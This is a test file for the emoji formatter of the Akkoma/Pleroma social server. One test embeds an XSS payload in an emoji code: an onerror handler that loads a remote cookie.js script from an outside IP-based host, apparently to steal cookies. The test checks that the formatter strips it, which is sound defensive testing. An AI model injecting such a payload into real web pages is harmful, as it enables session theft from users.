3e37ae3f002becf4f2729537860f5b420cb95f9b
[akkoma] / test / emoji / formatter_test.exs
1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
4
5 defmodule Pleroma.Emoji.FormatterTest do
6 alias Pleroma.Emoji
7 alias Pleroma.Emoji.Formatter
8 use Pleroma.DataCase
9
10 describe "emojify" do
11 test "it adds cool emoji" do
12 text = "I love :firefox:"
13
14 expected_result =
15 "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
16
17 assert Formatter.emojify(text) == expected_result
18 end
19
20 test "it does not add XSS emoji" do
21 text =
22 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
23
24 custom_emoji =
25 {
26 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
27 "https://placehold.it/1x1"
28 }
29 |> Pleroma.Emoji.build()
30
31 expected_result =
32 "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
33
34 assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
35 end
36 end
37
38 describe "get_emoji" do
39 test "it returns the emoji used in the text" do
40 text = "I love :firefox:"
41
42 assert Formatter.get_emoji(text) == [
43 {"firefox",
44 %Emoji{
45 code: "firefox",
46 file: "/emoji/Firefox.gif",
47 tags: ["Gif", "Fun"],
48 safe_code: "firefox",
49 safe_file: "/emoji/Firefox.gif"
50 }}
51 ]
52 end
53
54 test "it returns a nice empty result when no emojis are present" do
55 text = "I love moominamma"
56 assert Formatter.get_emoji(text) == []
57 end
58
59 test "it doesn't die when text is absent" do
60 text = nil
61 assert Formatter.get_emoji(text) == []
62 end
63 end
64 end